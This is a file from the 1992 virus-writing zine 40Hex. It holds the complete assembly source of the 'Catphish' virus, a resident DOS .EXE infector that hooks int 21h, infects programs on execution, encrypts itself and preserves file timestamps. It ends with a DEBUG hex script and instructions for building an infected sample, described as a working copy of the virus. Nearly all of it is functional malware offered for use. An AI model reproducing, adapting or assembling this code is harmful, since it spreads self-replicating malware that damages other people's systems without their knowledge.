home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-09.zip / 40HEX-9.009 < prev    next >
Text File  |  1992-12-31  |  23KB  |  679 lines

  1. 40Hex Number 9 Volume 2 Issue 5                                       File 009
  2.  
  3.                                
  4.  
  5. name    VIRUSTEST
  6.         title   
  7. code    segment  
  8.         assume  cs:code, ds:code, es:code
  9.         org     100h
  10.  
  11. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  12. ;                       FirstStrike presents:
  13. ;
  14. ;                        The Catphish Virus.    
  15. ;
  16. ;   The Catphish virus is a resident .EXE infector.
  17. ;                Size: 678 bytes (decimal).
  18. ;                No activation (bomb).
  19. ;                Saves date and file attributes.
  20. ;
  21. ;         If assembling, check_if_resident jump must be marked over
  22. ;           with nop after first execution (first execution will hang
  23. ;           system).
  24. ;
  25. ;         *** Source is made available to learn from, not to
  26. ;               change author's name and claim credit! ***
  27.  
  28. start:
  29.         call    setup                             ; Find "delta offset".
  30. setup:               
  31.         pop     bp                              
  32.         sub     bp, offset setup-100h
  33.         jmp     check_if_resident                 ; See note above about jmp!
  34.  
  35. pre_dec_em:
  36.         mov bx,offset infect_header-100h
  37.         add bx,bp
  38.         mov cx,endcrypt-infect_header
  39.  
  40. ror_em:
  41.         mov dl,byte ptr cs:[bx]
  42.         ror dl,1                                  ; Decrypt virus code
  43.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  44.         inc bx                                    
  45.         loop ror_em
  46.  
  47.         jmp check_if_resident
  48.  
  49. ;--------------------------------- Infect .EXE header -----------------------
  50. ;   The .EXE header modifying code below is my reworked version of 
  51. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  52.  
  53.  
  54. infect_header:
  55.           push bx
  56.           push dx
  57.           push ax
  58.  
  59.  
  60.  
  61.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  62.                ;  ^---make sure you don't destroy the file handle
  63.           mov     cl, 4                           ; Multiply by 16.  Won't
  64.           shl     bx, cl                          ; work with headers > 4096
  65.                                                   ; bytes.  Oh well!
  66.           sub     ax, bx                          ; Subtract header size from
  67.           sbb     dx, 0                           ; file size
  68.     ; Now DX:AX is loaded with file size minus header size
  69.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  70.           div     cx
  71.   
  72.   
  73.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  74.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  75.   
  76.   
  77.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  78.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  79.   
  80.           pop ax
  81.           pop dx
  82.  
  83.           add ax, endcode-start                   ; add virus size
  84.           cmp ax, endcode-start
  85.           jb fix_fault
  86.           jmp execont
  87.  
  88.  
  89. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  90. v_name   db '[Catphish]',0                        ; Virus name.
  91. v_author db 'FirstStrike',0                       ; Me.
  92. v_stuff  db 'Kraft!',0
  93.  
  94.  
  95. fix_fault:
  96.           add dx,1d
  97.   
  98. execont:
  99.           push ax      
  100.           mov cl, 9    
  101.           shr ax, cl   
  102.           ror dx, cl   
  103.           stc          
  104.                        
  105.           adc dx, ax   
  106.           pop ax       
  107.           and ah, 1    
  108.           
  109.   
  110.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  111.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  112.      
  113.           pop bx
  114.           retn                                    ; Leave subroutine
  115.  
  116. ;----------------------------------------------------------------------------
  117.  
  118.  
  119. check_if_resident:
  120.         push es
  121.         xor ax,ax 
  122.         mov es,ax
  123.  
  124.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  125.         jnz grab_da_vectors                       ;   is already resident
  126.         jmp exit_normal                           ;   by looking for a 40h
  127.                                                   ;   signature in the int 63h
  128.                                                   ;   offset section of 
  129.                                                   ;   interrupt table.
  130.  
  131. grab_da_vectors:
  132.  
  133.         mov ax,3521h                              ; Store original int 21h
  134.         int 21h                                   ;   vector pointer.
  135.         mov word ptr cs:[bp+dos_vector-100h],bx
  136.         mov word ptr cs:[bp+dos_vector+2-100h],es
  137.  
  138.  
  139.  
  140. load_high:
  141.         push ds
  142.  
  143. find_chain:                                       ; Load high routine that
  144.                                                   ;   uses the DOS internal
  145.      mov ah,52h                                   ;   table function to find
  146.      int 21h                                      ;   start of MCB and then
  147.                                                   ;   scales up chain to
  148.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  149.      assume ds:nothing                            ;   is long, but it is the 
  150.                                                   ;   only code that would
  151.      xor si,si                                    ;   work when an infected
  152.                                                   ;   .EXE was to be loaded 
  153. Middle_check:                                     ;   into memory.
  154.      
  155.      cmp byte ptr ds:[0],'M'
  156.      jne Check4last
  157.  
  158. add_one:
  159.      mov ax,ds
  160.      add ax,ds:[3]
  161.      inc ax
  162.  
  163.      mov ds,ax
  164.      jmp Middle_check
  165.  
  166. Check4last:
  167.      cmp byte ptr ds:[0],'Z'
  168.      jne Error
  169.      mov byte ptr ds:[0],'M'
  170.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  171.      jmp add_one
  172.  
  173. error:
  174.      mov byte ptr ds:[0],'Z'
  175.      mov word ptr ds:[1],008h
  176.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  177.  
  178.      push ds
  179.      pop ax
  180.      inc ax
  181.      push ax
  182.      pop es
  183.  
  184.  
  185.  
  186.  
  187.  
  188. move_virus_loop:
  189.         mov bx,offset start-100h                  ; Move virus into carved
  190.         add bx,bp                                 ;   out location in memory.
  191.         mov cx,endcode-start
  192.         push bp
  193.         mov bp,0000h
  194.  
  195. move_it:
  196.         mov dl, byte ptr cs:[bx]
  197.         mov byte ptr es:[bp],dl
  198.         inc bp
  199.         inc bx
  200.         loop move_it
  201.         pop bp
  202.  
  203.  
  204.  
  205. hook_vectors:
  206.  
  207.         mov ax,2563h                              ; Hook the int 21h vector
  208.         mov dx,0040h                              ;   which means it will
  209.         int 21h                                   ;   point to virus code in
  210.                                                   ;   memory.
  211.         mov ax,2521h
  212.         mov dx,offset virus_attack-100h
  213.         push es
  214.         pop ds
  215.         int 21h
  216.  
  217.  
  218.  
  219.  
  220.         pop ds
  221.  
  222.  
  223.  
  224. exit_normal:                                      ; Return control to 
  225.         pop es                                    ;   infected .EXE
  226.         mov ax, es                                ;   (Dark Angle code.)
  227.         add ax, 10h 
  228.         add word ptr cs:[bp+OrigCSIP+2-100h], ax 
  229.                                          
  230.         cli
  231.         add ax, word ptr cs:[bp+OrigSSSP+2-100h] 
  232.         mov ss, ax
  233.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  234.         sti
  235.  
  236.         xor ax,ax
  237.         xor bp,bp
  238.  
  239. endcrypt  label  byte        
  240.  
  241.         db 0eah                          
  242. OrigCSIP dd 0fff00000h
  243. OrigSSSP dd ?                    
  244.  
  245. exe_attrib dw ?
  246. date_stamp dw ?
  247. time_stamp dw ?
  248.  
  249.  
  250.  
  251. dos_vector dd ?                                   
  252.  
  253. buffer db 18h dup(?)                              ; .EXE header buffer.
  254.  
  255.  
  256.  
  257.  
  258. ;----------------------------------------------------------------------------
  259.  
  260.  
  261. virus_attack proc  far
  262.                assume cs:code,ds:nothing, es:nothing
  263.  
  264.         
  265.         cmp ax,4b00h                              ; Infect only on file
  266.         jz run_kill                               ;   executions.
  267.  
  268. leave_virus:
  269.         jmp dword ptr cs:[dos_vector-100h]                                
  270.  
  271.  
  272.  
  273. run_kill:
  274.         call infectexe
  275.         jmp leave_virus
  276.  
  277.  
  278.  
  279.  
  280.  
  281. infectexe:                                        ; Same old working horse
  282.         push ax                                   ;   routine that infects
  283.         push bx                                   ;   the selected file.
  284.         push cx
  285.         push es
  286.         push dx
  287.         push ds
  288.  
  289.         
  290.  
  291.         mov cx,64d
  292.         mov bx,dx
  293.  
  294. findname:
  295.         cmp byte ptr ds:[bx],'.'
  296.         jz o_k
  297.         inc bx
  298.         loop findname
  299.  
  300. pre_get_out:
  301.         jmp get_out
  302.  
  303. o_k:
  304.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  305.         jnz pre_get_out
  306.         cmp byte ptr ds:[bx+2],'X'
  307.         jnz pre_get_out
  308.         cmp byte ptr ds:[bx+3],'E'
  309.         jnz pre_get_out
  310.        
  311.  
  312.  
  313.  
  314. getexe:
  315.         mov ax,4300h
  316.         call dosit
  317.  
  318.         mov word ptr cs:[exe_attrib-100h],cx
  319.  
  320.         mov ax,4301h
  321.         xor cx,cx
  322.         call dosit
  323.  
  324. exe_kill:
  325.         mov ax,3d02h
  326.         call dosit
  327.         xchg bx,ax
  328.         
  329.         mov ax,5700h
  330.         call dosit
  331.  
  332.         mov word ptr cs:[time_stamp-100h],cx
  333.         mov word ptr cs:[date_stamp-100h],dx
  334.  
  335.  
  336.  
  337.         push cs
  338.         pop ds
  339.  
  340.         mov ah,3fh
  341.         mov cx,18h
  342.         mov dx,offset buffer-100h
  343.         call dosit
  344.  
  345.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  346.         jnz infectforsure                         ;   of 1993h in .EXE 
  347.         jmp close_it                              ;   header checksum 
  348.                                                   ;   position.
  349. infectforsure:
  350.         call move_f_ptrfar
  351.  
  352.         push ax
  353.         push dx
  354.  
  355.  
  356.         call store_header
  357.  
  358.         pop dx
  359.         pop ax
  360.  
  361.         call infect_header
  362.  
  363.  
  364.         push bx
  365.         push cx
  366.         push dx
  367.         
  368.  
  369.         mov bx,offset infect_header-100h
  370.         mov cx,(endcrypt)-(infect_header)
  371.  
  372. rol_em:                                           ; Encryption via 
  373.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  374.         rol dl,1                                    
  375.         mov byte ptr cs:[bx],dl
  376.         inc bx
  377.         loop rol_em
  378.  
  379.         pop dx
  380.         pop cx
  381.         pop bx
  382.  
  383.         mov ah,40h
  384.         mov cx,endcode-start
  385.         mov dx,offset start-100h
  386.         call dosit
  387.  
  388.  
  389.         mov word ptr cs:[buffer+12h-100h],1993h
  390.  
  391.  
  392.         call move_f_ptrclose
  393.  
  394.         mov ah,40h
  395.         mov cx,18h
  396.         mov dx,offset buffer-100h
  397.         call dosit
  398.  
  399.         mov ax,5701h
  400.         mov cx,word ptr cs:[time_stamp-100h]
  401.         mov dx,word ptr cs:[date_stamp-100h]
  402.         call dosit
  403.  
  404. close_it:
  405.  
  406.  
  407.         mov ah,3eh
  408.         call dosit
  409.  
  410. get_out:
  411.  
  412.  
  413.         pop ds
  414.         pop dx
  415.  
  416. set_attrib:
  417.         mov ax,4301h
  418.         mov cx,word ptr cs:[exe_attrib-100h]
  419.         call dosit
  420.  
  421.  
  422.         pop es
  423.         pop cx
  424.         pop bx
  425.         pop ax
  426.  
  427.         retn
  428.         
  429. ;---------------------------------- Call to DOS int 21h ---------------------
  430.  
  431. dosit:                                            ; DOS function call code.
  432.         pushf
  433.         call dword ptr cs:[dos_vector-100h]
  434.         retn
  435.  
  436. ;----------------------------------------------------------------------------
  437.                                                                             
  438.  
  439.  
  440.  
  441.  
  442.  
  443.  
  444.  
  445.  
  446.  
  447. ;-------------------------------- Store Header -----------------------------
  448.  
  449. store_header:
  450.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  451.         mov  word ptr [OrigCSIP-100h], ax
  452.         mov  word ptr [OrigCSIP+2-100h], es
  453.   
  454.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  455.         mov  word ptr [OrigSSSP-100h], es
  456.         mov  word ptr [OrigSSSP+2-100h], ax
  457.  
  458.         retn
  459.  
  460. ;---------------------------------------------------------------------------
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467. ;---------------------------------- Set file pointer ------------------------
  468.  
  469. move_f_ptrfar:                                    ; Code to move file pointer.
  470.         mov ax,4202h
  471.         jmp short move_f
  472.  
  473. move_f_ptrclose:
  474.         mov ax,4200h
  475.  
  476. move_f:
  477.         xor dx,dx
  478.         xor cx,cx
  479.         call dosit
  480.         retn
  481.  
  482. ;----------------------------------------------------------------------------
  483.  
  484.  
  485. endcode         label       byte
  486.  
  487. endp
  488.  
  489. code ends
  490. end  start   
  491.  
  492.  
  493. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  494.  
  495.               Below is a sample file that is already infected.
  496.             Just cut out code and run through debug. Next rename 
  497.             DUMMY.FIL to DUMMY.EXE and you have a working copy of
  498.             your very own Catphish virus.
  499.  
  500.  
  501. N DUMMY.FIL
  502. E 0100 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 5E 00 
  503. E 0110 00 A0 93 19 0D 00 5E 00 3E 00 00 00 01 00 FB 30 
  504. E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  505. E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  506. E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  507. E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  508. E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  509. E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  510. E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  511. E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  512. E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  513. E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  514. E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  515. E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  516. E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  517. E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  518. E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  519. E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  520. E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  521. E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  522. E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  523. E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  524. E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  525. E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  526. E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  527. E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  528. E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  529. E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  530. E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  531. E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  532. E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  533. E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  534. E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  535. E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  536. E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  537. E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  538. E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  539. E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  540. E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  541. E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  542. E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  543. E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  544. E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  545. E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  546. E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  547. E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  548. E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  549. E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  550. E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  551. E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  552. E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  553. E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  554. E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  555. E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  556. E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  557. E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  558. E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  559. E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  560. E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  561. E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  562. E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  563. E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  564. E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  565. E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  566. E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  567. E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  568. E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  569. E 0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  570. E 0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  571. E 0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  572. E 0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  573. E 0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  574. E 0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  575. E 0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  576. E 05A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  577. E 05B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  578. E 05C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  579. E 05D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  580. E 05E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  581. E 05F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  582. E 0600 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  583. E 0610 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  584. E 0620 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  585. E 0630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  586. E 0640 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  587. E 0650 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  588. E 0660 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  589. E 0670 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  590. E 0680 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  591. E 0690 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  592. E 06A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  593. E 06B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  594. E 06C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  595. E 06D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  596. E 06E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  597. E 06F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  598. E 0700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  599. E 0710 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  600. E 0720 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  601. E 0730 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  602. E 0740 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  603. E 0750 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  604. E 0760 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  605. E 0770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  606. E 0780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  607. E 0790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  608. E 07A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  609. E 07B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  610. E 07C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  611. E 07D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  612. E 07E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  613. E 07F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  614. E 0800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  615. E 0810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  616. E 0820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  617. E 0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  618. E 0840 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  619. E 0850 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  620. E 0860 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  621. E 0870 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  622. E 0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  623. E 0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  624. E 08A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  625. E 08B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  626. E 08C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  627. E 08D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
  628. E 08E0 90 90 90 90 90 90 90 90 B8 00 4C CD 21 E8 00 00 
  629. E 08F0 5D 81 ED 03 00 90 90 90 BB 21 00 03 DD B9 41 01 
  630. E 0900 2E 8A 17 D0 CA 2E 88 17 43 E2 F5 E9 93 00 A6 A4 
  631. E 0910 A0 17 3C FA 02 63 08 A7 C7 56 87 07 B5 00 73 20 
  632. E 0920 00 EF E3 13 2C 13 02 47 17 02 47 07 02 8F 0C 0B 
  633. E 0930 02 00 41 B0 B4 0A 4D 04 7A 4D 04 E4 94 D7 96 21 
  634. E 0940 86 E4 F2 40 90 C2 EC DE C6 58 40 C2 DC C8 40 D8 
  635. E 0950 CA E8 40 E6 D8 D2 E0 40 E8 D0 CA 40 88 DE CE E6 
  636. E 0960 40 DE CC 40 AE C2 E4 42 00 B6 86 C2 E8 E0 D0 D2 
  637. E 0970 E6 D0 BA 00 8C D2 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 
  638. E 0980 96 E4 C2 CC E8 42 00 07 85 02 A0 63 12 A7 D1 A7 
  639. E 0990 95 F3 26 A1 B0 01 C9 02 13 2C F2 02 47 EE 02 B6 
  640. E 09A0 87 0C 66 81 1D 81 4C 07 7C 19 02 80 EA 06 D3 03 
  641. E 09B0 00 71 42 6A 9B 42 5C 13 3D E2 02 5C 19 0D E6 02 
  642. E 09C0 3C 69 A4 9B 42 4C 1D BE FD 66 ED 01 7C 00 00 9A 
  643. E 09D0 EA 16 19 B1 06 0C 06 00 80 1D B1 D7 DD 01 7C 00 
  644. E 09E0 00 B4 EA 1A 8D 0C 00 00 9A 07 5C 06 00 40 21 D7 
  645. E 09F0 C3 8D 0C 00 00 B4 8F 0C 02 00 10 00 8F 0C 06 00 
  646. E 0A00 40 00 3C B0 80 A0 0E 77 00 00 06 BB 73 4D 04 AA 
  647. E 0A10 7B 00 00 5C 15 2E 4C 11 AC 00 8A 86 C5 EB BA 71 
  648. E 0A20 C6 4A 75 80 00 9B 42 71 42 4A 75 1B 02 0C 3E 9B 
  649. E 0A30 42 3E 0E 19 81 0A 20 00 5C 02 0D CA 02 F5 5C 06 
  650. E 0A40 0D D2 02 1D A1 5C 17 4D CE 02 F7 66 81 66 DB EA 
  651. E 0A50 00 01 10 00 00 01 00 00 20 00 97 19 5A 0B 92 14 
  652. E 0A60 1D 07 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 
  653. E 0A70 5E 00 00 A0 00 00 0D 00 5E 00 3D 00 4B 74 05 2E 
  654. E 0A80 FF 2E 71 01 E8 02 00 EB F6 50 53 51 06 52 1E B9 
  655. E 0A90 40 00 8B DA 80 3F 2E 74 06 43 E2 F8 E9 AE 00 80 
  656. E 0AA0 7F 01 45 75 F7 80 7F 02 58 75 F1 80 7F 03 45 75 
  657. E 0AB0 EB B8 00 43 E8 A8 00 2E 89 0E 6B 01 B8 01 43 33 
  658. E 0AC0 C9 E8 9B 00 B8 02 3D E8 95 00 93 B8 00 57 E8 8E 
  659. E 0AD0 00 2E 89 0E 6F 01 2E 89 16 6D 01 0E 1F B4 3F B9 
  660. E 0AE0 18 00 BA 75 01 E8 77 00 2E 81 3E 87 01 93 19 75 
  661. E 0AF0 03 EB 55 90 E8 8C 00 50 52 E8 6A 00 5A 58 E8 0D 
  662. E 0B00 FE 53 51 52 BB 21 00 B9 41 01 2E 8A 17 D0 C2 2E 
  663. E 0B10 88 17 43 E2 F5 5A 59 5B B4 40 B9 A6 02 BA 00 00 
  664. E 0B20 E8 3C 00 2E C7 06 87 01 93 19 E8 5B 00 B4 40 B9 
  665. E 0B30 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F 01 
  666. E 0B40 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A B8 
  667. E 0B50 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 9C 
  668. E 0B60 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 2E 
  669. E 0B70 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E A3 
  670. E 0B80 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 E8 
  671. E 0B90 CD FF C3 
  672. RCX
  673. 0A93
  674. W
  675. Q
  676.  
  677.  
  678.                              -+- FirstStrike -+-
  679.